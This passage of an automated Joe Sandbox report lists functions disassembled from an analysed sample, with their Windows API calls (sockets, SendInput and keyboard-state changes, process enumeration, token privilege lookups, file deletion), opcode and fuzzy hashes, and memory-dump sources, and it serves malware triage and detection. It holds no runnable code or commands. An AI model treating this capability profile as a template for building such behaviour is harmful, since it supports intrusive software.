                                                • Opcode ID: 2b909197f18374c6477dc701c3e54ba2e8108076727eb7b0b04d6f101fe80324
                                                • Instruction ID: 52a359a66677d2114457e1e5e080fdda724eb24157754e10d312c7916c5986f7
                                                • Opcode Fuzzy Hash: 2b909197f18374c6477dc701c3e54ba2e8108076727eb7b0b04d6f101fe80324
                                                • Instruction Fuzzy Hash: 65415B35630501BBDB256FB89C46BEE3AA4EF41370F14022BF818D2792E6748C715A61
                                                Function 00326278 Relevance: 6.1, APIs: 4, Instructions: 138COMMON
                                                Download Yara Rule
                                                APIs
                                                • GetWindowRect.USER32(00CDE9D0,?), ref: 003262E2
                                                • ScreenToClient.USER32(?,?), ref: 00326315
                                                • MoveWindow.USER32(?,?,?,?,000000FF,00000001,?,?,?,?,?), ref: 00326382
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1459377102.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true
                                                • Associated: 00000000.00000002.1459264162.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.000000000032C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.0000000000352000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459692537.000000000035C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459725838.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_290000_fqbVL4XxCr.jbxd
                                                Similarity
                                                • API ID: Window$ClientMoveRectScreen
                                                • String ID:
                                                • API String ID: 3880355969-0
                                                • Opcode ID: 276f9acf918acf4ac1af73e1f0dba3066d99f6acd6d929adb099a621330bb206
                                                • Instruction ID: ac62323e855c4f5af7e5b4813ec317fe79666463c238f53eb2b1a21e16875231
                                                • Opcode Fuzzy Hash: 276f9acf918acf4ac1af73e1f0dba3066d99f6acd6d929adb099a621330bb206
                                                • Instruction Fuzzy Hash: BD512A74A00219EFCF22DF68E881AAE7BB5EF45360F158159F9159B2A0D730ED41CB90
                                                Function 00311AD6 Relevance: 6.1, APIs: 4, Instructions: 138networkCOMMON
                                                Download Yara Rule
                                                APIs
                                                • socket.WSOCK32(00000002,00000002,00000011), ref: 00311AFD
                                                • WSAGetLastError.WSOCK32 ref: 00311B0B
                                                • #21.WSOCK32(?,0000FFFF,00000020,00000002,00000004), ref: 00311B8A
                                                • WSAGetLastError.WSOCK32 ref: 00311B94
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1459377102.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true
                                                • Associated: 00000000.00000002.1459264162.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.000000000032C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.0000000000352000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459692537.000000000035C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459725838.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_290000_fqbVL4XxCr.jbxd
                                                Similarity
                                                • API ID: ErrorLast$socket
                                                • String ID:
                                                • API String ID: 1881357543-0
                                                • Opcode ID: e4db83ecf77d4d442b42594f6d3e289a5b555e2f792ff2adfdd249bad47c9773
                                                • Instruction ID: 96d5f25d9cd63bd60f618cd38926c2b819e928402bf98deb64ecd9c964415f68
                                                • Opcode Fuzzy Hash: e4db83ecf77d4d442b42594f6d3e289a5b555e2f792ff2adfdd249bad47c9773
                                                • Instruction Fuzzy Hash: 6B41D6346102006FDB25AF24C886F6977E5AB48718F54C44CFA199F7D2D772ED81CB90
                                                Function 002CB41F Relevance: 6.1, APIs: 4, Instructions: 133COMMON
                                                Download Yara Rule
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1459377102.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true
                                                • Associated: 00000000.00000002.1459264162.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.000000000032C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.0000000000352000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459692537.000000000035C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459725838.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_290000_fqbVL4XxCr.jbxd
                                                Similarity
                                                • API ID:
                                                • String ID:
                                                • API String ID:
                                                • Opcode ID: 841d6d4297e99612e6af564c47c06e2b104911d5f70e0c394e82b69872af464e
                                                • Instruction ID: bd30d4202b7bf0c5bc98e9414d0289e05a17b55a1cf97f8dc47fd013278ece48
                                                • Opcode Fuzzy Hash: 841d6d4297e99612e6af564c47c06e2b104911d5f70e0c394e82b69872af464e
                                                • Instruction Fuzzy Hash: 0B410A75A64304BFD7259F78CC42FAABBA9EB88710F10462EF541DB6C1D77199218B80
                                                Function 003056D9 Relevance: 6.1, APIs: 4, Instructions: 110fileCOMMON
                                                Download Yara Rule
                                                APIs
                                                • CreateHardLinkW.KERNEL32(00000002,?,00000000), ref: 00305783
                                                • GetLastError.KERNEL32(?,00000000), ref: 003057A9
                                                • DeleteFileW.KERNEL32(00000002,?,00000000), ref: 003057CE
                                                • CreateHardLinkW.KERNEL32(00000002,?,00000000,?,00000000), ref: 003057FA
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1459377102.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true
                                                • Associated: 00000000.00000002.1459264162.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.000000000032C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.0000000000352000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459692537.000000000035C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459725838.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_290000_fqbVL4XxCr.jbxd
                                                Similarity
                                                • API ID: CreateHardLink$DeleteErrorFileLast
                                                • String ID:
                                                • API String ID: 3321077145-0
                                                • Opcode ID: b8af428b79f9f9b6f09d9631ea90a5694134a8e9b6b7b398259ac54805db1ff7
                                                • Instruction ID: f39d5abb28ff2165a84d03c8b5c7f82cac883dfb02ae68561a81650ec03ef138
                                                • Opcode Fuzzy Hash: b8af428b79f9f9b6f09d9631ea90a5694134a8e9b6b7b398259ac54805db1ff7
                                                • Instruction Fuzzy Hash: EC411A39614610DFCF11DF15C554A1EBBE6AF89720B5A8888EC4AAB362CB34FD11CF91
                                                Function 002CD8C3 Relevance: 6.1, APIs: 4, Instructions: 110COMMONLIBRARYCODE
                                                Download Yara Rule
                                                APIs
                                                • MultiByteToWideChar.KERNEL32(?,00000000,?,002B6D71,00000000,00000000,002B82D9,?,002B82D9,?,00000001,002B6D71,?,00000001,002B82D9,002B82D9), ref: 002CD910
                                                • MultiByteToWideChar.KERNEL32(?,00000001,?,?,00000000,?), ref: 002CD999
                                                • GetStringTypeW.KERNEL32(?,00000000,00000000,?), ref: 002CD9AB
                                                • __freea.LIBCMT ref: 002CD9B4
                                                  • Part of subcall function 002C3820: RtlAllocateHeap.NTDLL(00000000,?,00361444,?,002AFDF5,?,?,0029A976,00000010,00361440,002913FC,?,002913C6,?,00291129), ref: 002C3852
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1459377102.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true
                                                • Associated: 00000000.00000002.1459264162.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.000000000032C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.0000000000352000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459692537.000000000035C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459725838.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_290000_fqbVL4XxCr.jbxd
                                                Similarity
                                                • API ID: ByteCharMultiWide$AllocateHeapStringType__freea
                                                • String ID:
                                                • API String ID: 2652629310-0
                                                • Opcode ID: b0005c7311871a4db639bfbe6aaaf23d76505a981ecc9e65a54efc1f19ee8fca
                                                • Instruction ID: 1aafa8b6f9742e78eb7d856e22cebce08b9b0f7ffa87f1d5710711c4d1edc223
                                                • Opcode Fuzzy Hash: b0005c7311871a4db639bfbe6aaaf23d76505a981ecc9e65a54efc1f19ee8fca
                                                • Instruction Fuzzy Hash: AA31BE72A2020AABDF25DF64DC81EAE7BA5EB41350F05426CFC04D7291EB35DD65CB90
                                                Function 003252C1 Relevance: 6.1, APIs: 4, Instructions: 104windowCOMMON
                                                Download Yara Rule
                                                APIs
                                                • SendMessageW.USER32(?,00001024,00000000,?), ref: 00325352
                                                • GetWindowLongW.USER32(?,000000F0), ref: 00325375
                                                • SetWindowLongW.USER32(?,000000F0,00000000), ref: 00325382
                                                • InvalidateRect.USER32(?,00000000,00000001,?,?,?), ref: 003253A8
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1459377102.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true
                                                • Associated: 00000000.00000002.1459264162.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.000000000032C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.0000000000352000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459692537.000000000035C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459725838.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_290000_fqbVL4XxCr.jbxd
                                                Similarity
                                                • API ID: LongWindow$InvalidateMessageRectSend
                                                • String ID:
                                                • API String ID: 3340791633-0
                                                • Opcode ID: 593a1afff8855a560bc9c44be13d09aa1203d39f0db49145029e14a0ad139644
                                                • Instruction ID: f9b19e460192ace5c77708d32d059bdc79c8d12d06d24134cea1fee218204d0e
                                                • Opcode Fuzzy Hash: 593a1afff8855a560bc9c44be13d09aa1203d39f0db49145029e14a0ad139644
                                                • Instruction Fuzzy Hash: 7531C538A55A28EFEB33DE14EC05BE877A9AB05390F596101FB11961E1C7B09F409B41
                                                Function 002FAB9C Relevance: 6.1, APIs: 4, Instructions: 103keyboardwindowCOMMON
                                                Download Yara Rule
                                                APIs
                                                • GetKeyboardState.USER32(?,76C1C0D0,?,00008000), ref: 002FABF1
                                                • SetKeyboardState.USER32(00000080,?,00008000), ref: 002FAC0D
                                                • PostMessageW.USER32(00000000,00000101,00000000), ref: 002FAC74
                                                • SendInput.USER32(00000001,?,0000001C,76C1C0D0,?,00008000), ref: 002FACC6
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1459377102.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true
                                                • Associated: 00000000.00000002.1459264162.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.000000000032C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.0000000000352000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459692537.000000000035C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459725838.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_290000_fqbVL4XxCr.jbxd
                                                Similarity
                                                • API ID: KeyboardState$InputMessagePostSend
                                                • String ID:
                                                • API String ID: 432972143-0
                                                • Opcode ID: fc6582560f21c0f9f965501bad262924a00ce3197f47f418784d57c372e956e1
                                                • Instruction ID: 8dbd81bd573024ce0a99dfa01709312d2a51ef6d55c86661dbeb26d5c9221b94
                                                • Opcode Fuzzy Hash: fc6582560f21c0f9f965501bad262924a00ce3197f47f418784d57c372e956e1
                                                • Instruction Fuzzy Hash: 873116B0A2061D6FEB358F658C147FEFAA5AB49390F04423BE689521D0C37589A58B52
                                                Function 00327674 Relevance: 6.1, APIs: 4, Instructions: 102windowCOMMON
                                                Download Yara Rule
                                                APIs
                                                • ClientToScreen.USER32(?,?), ref: 0032769A
                                                • GetWindowRect.USER32(?,?), ref: 00327710
                                                • PtInRect.USER32(?,?,00328B89), ref: 00327720
                                                • MessageBeep.USER32(00000000), ref: 0032778C
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1459377102.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true
                                                • Associated: 00000000.00000002.1459264162.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.000000000032C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.0000000000352000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459692537.000000000035C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459725838.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_290000_fqbVL4XxCr.jbxd
                                                Similarity
                                                • API ID: Rect$BeepClientMessageScreenWindow
                                                • String ID:
                                                • API String ID: 1352109105-0
                                                • Opcode ID: ea35e57f227de81cb46a25201ff0134ad6beeb6da2d73481c4beab385850b63e
                                                • Instruction ID: 9accc7b49c5627665ca357408c5627ec1c2c2d96526e645951229de5c1f04da0
                                                • Opcode Fuzzy Hash: ea35e57f227de81cb46a25201ff0134ad6beeb6da2d73481c4beab385850b63e
                                                • Instruction Fuzzy Hash: 41415C34605225DFCB13CF5CE894EA9BBF9BF49354F1981A8E8149B261C771E942CF90
                                                Function 003216DA Relevance: 6.1, APIs: 4, Instructions: 101COMMON
                                                Download Yara Rule
                                                APIs
                                                • GetForegroundWindow.USER32 ref: 003216EB
                                                  • Part of subcall function 002F3A3D: GetWindowThreadProcessId.USER32(?,00000000), ref: 002F3A57
                                                  • Part of subcall function 002F3A3D: GetCurrentThreadId.KERNEL32 ref: 002F3A5E
                                                  • Part of subcall function 002F3A3D: AttachThreadInput.USER32(00000000,?,00000000,00000000,?,002F25B3), ref: 002F3A65
                                                • GetCaretPos.USER32(?), ref: 003216FF
                                                • ClientToScreen.USER32(00000000,?), ref: 0032174C
                                                • GetForegroundWindow.USER32 ref: 00321752
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1459377102.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true
                                                • Associated: 00000000.00000002.1459264162.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.000000000032C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.0000000000352000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459692537.000000000035C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459725838.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_290000_fqbVL4XxCr.jbxd
                                                Similarity
                                                • API ID: ThreadWindow$Foreground$AttachCaretClientCurrentInputProcessScreen
                                                • String ID:
                                                • API String ID: 2759813231-0
                                                • Opcode ID: 31d0efdf8b4aeeb1ff0573f4eba78c8f2ccbd7dc1a9b1a13d25a30d28ab7b92a
                                                • Instruction ID: 9cc6ab692d731d7561d5326382297c1d77b1c0c1f71ce21ec3d78690b5d15ea5
                                                • Opcode Fuzzy Hash: 31d0efdf8b4aeeb1ff0573f4eba78c8f2ccbd7dc1a9b1a13d25a30d28ab7b92a
                                                • Instruction Fuzzy Hash: 7D314171D10149AFCB11EFAAC981CAEB7FDEF88304B5080AAE415E7211E7319E45CFA0
                                                Function 002FD4DC Relevance: 6.1, APIs: 4, Instructions: 86processCOMMON
                                                Download Yara Rule
                                                APIs
                                                • CreateToolhelp32Snapshot.KERNEL32 ref: 002FD501
                                                • Process32FirstW.KERNEL32(00000000,?), ref: 002FD50F
                                                • Process32NextW.KERNEL32(00000000,?), ref: 002FD52F
                                                • CloseHandle.KERNEL32(00000000), ref: 002FD5DC
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1459377102.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true
                                                • Associated: 00000000.00000002.1459264162.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.000000000032C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.0000000000352000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459692537.000000000035C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459725838.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_290000_fqbVL4XxCr.jbxd
                                                Similarity
                                                • API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32
                                                • String ID:
                                                • API String ID: 420147892-0
                                                • Opcode ID: 3b7f486c39b719735026d518ae1fc2326fb58d66faf2eb51fb5d8318cfb6bc2e
                                                • Instruction ID: 632cf4764b21039416263ba666ecb6bac859645e0ad31712dcb2b9c4aa1c3594
                                                • Opcode Fuzzy Hash: 3b7f486c39b719735026d518ae1fc2326fb58d66faf2eb51fb5d8318cfb6bc2e
                                                • Instruction Fuzzy Hash: 0631C2711183059FD701EF64C881ABFBBF8FF99394F50092DF581821A2EB71A959CB92
                                                Function 00328FC9 Relevance: 6.1, APIs: 4, Instructions: 78windowCOMMON
                                                Download Yara Rule
                                                APIs
                                                  • Part of subcall function 002A9BA1: GetWindowLongW.USER32(00000000,000000EB), ref: 002A9BB2
                                                • GetCursorPos.USER32(?), ref: 00329001
                                                • TrackPopupMenuEx.USER32(?,00000000,?,?,?,00000000,?,002E7711,?,?,?,?,?), ref: 00329016
                                                • GetCursorPos.USER32(?), ref: 0032905E
                                                • DefDlgProcW.USER32(?,0000007B,?,?,?,?,?,?,?,?,?,?,002E7711,?,?,?), ref: 00329094
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1459377102.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true
                                                • Associated: 00000000.00000002.1459264162.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.000000000032C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.0000000000352000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459692537.000000000035C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459725838.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_290000_fqbVL4XxCr.jbxd
                                                Similarity
                                                • API ID: Cursor$LongMenuPopupProcTrackWindow
                                                • String ID:
                                                • API String ID: 2864067406-0
                                                • Opcode ID: 51053c8a7df81ec280a25b4b2c994a295eb6581b12b215ec01ac50b76a3d1e1e
                                                • Instruction ID: 9271e17f741306283ca4d1fb281b4d772cc1b91f6a918ea9130f6754af83fd89
                                                • Opcode Fuzzy Hash: 51053c8a7df81ec280a25b4b2c994a295eb6581b12b215ec01ac50b76a3d1e1e
                                                • Instruction Fuzzy Hash: 8B21A035610028AFCB278F95E858FEA7BB9FF4A750F14819AF50587161C7319990DB60
                                                Function 002FD2C1 Relevance: 6.1, APIs: 4, Instructions: 78COMMON
                                                Download Yara Rule
                                                APIs
                                                • GetFileAttributesW.KERNEL32(?,0032CB68), ref: 002FD2FB
                                                • GetLastError.KERNEL32 ref: 002FD30A
                                                • CreateDirectoryW.KERNEL32(?,00000000), ref: 002FD319
                                                • CreateDirectoryW.KERNEL32(?,00000000,00000000,000000FF,0032CB68), ref: 002FD376
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1459377102.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true
                                                • Associated: 00000000.00000002.1459264162.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.000000000032C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.0000000000352000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459692537.000000000035C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459725838.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_290000_fqbVL4XxCr.jbxd
                                                Similarity
                                                • API ID: CreateDirectory$AttributesErrorFileLast
                                                • String ID:
                                                • API String ID: 2267087916-0
                                                • Opcode ID: 83b463e816770ded1b57015ec152194ada4aa1bc8a0c53277e29e01b0a525803
                                                • Instruction ID: 34b0ae178cbf52ff6b7bf8e47d26ad908596fbeb6e87b92647c20f3cc12208e6
                                                • Opcode Fuzzy Hash: 83b463e816770ded1b57015ec152194ada4aa1bc8a0c53277e29e01b0a525803
                                                • Instruction Fuzzy Hash: 1821B4705243069F8B10DF28C88187EB7E9AE55364F104A6DF699C32A1DB30D956CF93
                                                Function 002F1571 Relevance: 6.1, APIs: 4, Instructions: 78memoryCOMMON
                                                Download Yara Rule
                                                APIs
                                                  • Part of subcall function 002F1014: GetTokenInformation.ADVAPI32(?,00000003(TokenIntegrityLevel),?,00000000,?), ref: 002F102A
                                                  • Part of subcall function 002F1014: GetLastError.KERNEL32(?,TokenIntegrityLevel,?,00000000,?), ref: 002F1036
                                                  • Part of subcall function 002F1014: GetProcessHeap.KERNEL32(00000008,?,?,TokenIntegrityLevel,?,00000000,?), ref: 002F1045
                                                  • Part of subcall function 002F1014: HeapAlloc.KERNEL32(00000000,?,TokenIntegrityLevel,?,00000000,?), ref: 002F104C
                                                  • Part of subcall function 002F1014: GetTokenInformation.ADVAPI32(?,00000003(TokenIntegrityLevel),00000000,?,?,?,TokenIntegrityLevel,?,00000000,?), ref: 002F1062
                                                • LookupPrivilegeValueW.ADVAPI32(00000000,?,?), ref: 002F15BE
                                                • _memcmp.LIBVCRUNTIME ref: 002F15E1
                                                • GetProcessHeap.KERNEL32(00000000,00000000), ref: 002F1617
                                                • HeapFree.KERNEL32(00000000), ref: 002F161E
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1459377102.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true
                                                • Associated: 00000000.00000002.1459264162.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.000000000032C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.0000000000352000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459692537.000000000035C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459725838.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_290000_fqbVL4XxCr.jbxd
                                                Similarity
                                                • API ID: Heap$InformationProcessToken$AllocErrorFreeLastLookupPrivilegeValue_memcmp
                                                • String ID:
                                                • API String ID: 1592001646-0
                                                • Opcode ID: 69c666e04da12adcfa7c9819611986f7eac0804c1a46ea2ddce156b5b49f4ba7
                                                • Instruction ID: b283681cd0400c51fef6700a722928d2735c72091c4cf384ce226df2cae8c193
                                                • Opcode Fuzzy Hash: 69c666e04da12adcfa7c9819611986f7eac0804c1a46ea2ddce156b5b49f4ba7
                                                • Instruction Fuzzy Hash: 60216971E20109EFDF14DFA4C945BFEB7B8EF44384F484469E541AB241E731AA25CBA0
                                                Function 00322782 Relevance: 6.1, APIs: 4, Instructions: 75COMMON
                                                Download Yara Rule
                                                APIs
                                                • GetWindowLongW.USER32(?,000000EC), ref: 0032280A
                                                • SetWindowLongW.USER32(?,000000EC,00000000), ref: 00322824
                                                • SetWindowLongW.USER32(?,000000EC,00000000), ref: 00322832
                                                • SetLayeredWindowAttributes.USER32(?,00000000,?,00000002), ref: 00322840
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1459377102.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true
                                                • Associated: 00000000.00000002.1459264162.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.000000000032C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.0000000000352000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459692537.000000000035C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459725838.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_290000_fqbVL4XxCr.jbxd
                                                Similarity
                                                • API ID: Window$Long$AttributesLayered
                                                • String ID:
                                                • API String ID: 2169480361-0
                                                • Opcode ID: cad6acb1f77956685167435016a45bb0cafab904ddabdca76435fecfded8d77e
                                                • Instruction ID: 43fc4c547b1f1d84ea2dbcffaac389db78345d04b8d9f0b8424cf594e6d627bc
                                                • Opcode Fuzzy Hash: cad6acb1f77956685167435016a45bb0cafab904ddabdca76435fecfded8d77e
                                                • Instruction Fuzzy Hash: EC21C131218121BFD7169B24DC44FAB7B99AF45324F258258F4268B6E2CB75FC42CBD0
                                                Function 002F78F5 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 71stringCOMMON
                                                Download Yara Rule
                                                APIs
                                                  • Part of subcall function 002F8D7D: lstrlenW.KERNEL32(?,00000002,000000FF,?,?,?,002F790A,?,000000FF,?,002F8754,00000000,?,0000001C,?,?), ref: 002F8D8C
                                                  • Part of subcall function 002F8D7D: lstrcpyW.KERNEL32(00000000,?,?,002F790A,?,000000FF,?,002F8754,00000000,?,0000001C,?,?,00000000), ref: 002F8DB2
                                                  • Part of subcall function 002F8D7D: lstrcmpiW.KERNEL32(00000000,?,002F790A,?,000000FF,?,002F8754,00000000,?,0000001C,?,?), ref: 002F8DE3
                                                • lstrlenW.KERNEL32(?,00000002,000000FF,?,000000FF,?,002F8754,00000000,?,0000001C,?,?,00000000), ref: 002F7923
                                                • lstrcpyW.KERNEL32(00000000,?,?,002F8754,00000000,?,0000001C,?,?,00000000), ref: 002F7949
                                                • lstrcmpiW.KERNEL32(00000002,cdecl,?,002F8754,00000000,?,0000001C,?,?,00000000), ref: 002F7984
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1459377102.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true
                                                • Associated: 00000000.00000002.1459264162.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.000000000032C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.0000000000352000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459692537.000000000035C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459725838.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_290000_fqbVL4XxCr.jbxd
                                                Similarity
                                                • API ID: lstrcmpilstrcpylstrlen
                                                • String ID: cdecl
                                                • API String ID: 4031866154-3896280584
                                                • Opcode ID: 44d60a77d9848a141097e18c0a06c1749b59cb18fe7fb707b86db496e7506ba6
                                                • Instruction ID: 18ff4a06c260c03e292e068c49c0ab59bace0e90085a4a8ce3d735494774dab1
                                                • Opcode Fuzzy Hash: 44d60a77d9848a141097e18c0a06c1749b59cb18fe7fb707b86db496e7506ba6
                                                • Instruction Fuzzy Hash: 22112C3A210306ABDB255F34CC45D7AB7A9FF45390B40403AFA02C7264EF719821C751
                                                Function 00325660 Relevance: 6.1, APIs: 4, Instructions: 67windowCOMMON
                                                Download Yara Rule
                                                APIs
                                                • SendMessageW.USER32(?,00001060,?,00000004), ref: 003256BB
                                                • _wcslen.LIBCMT ref: 003256CD
                                                • _wcslen.LIBCMT ref: 003256D8
                                                • SendMessageW.USER32(?,00001002,00000000,?), ref: 00325816
                                                Memory Dump Source
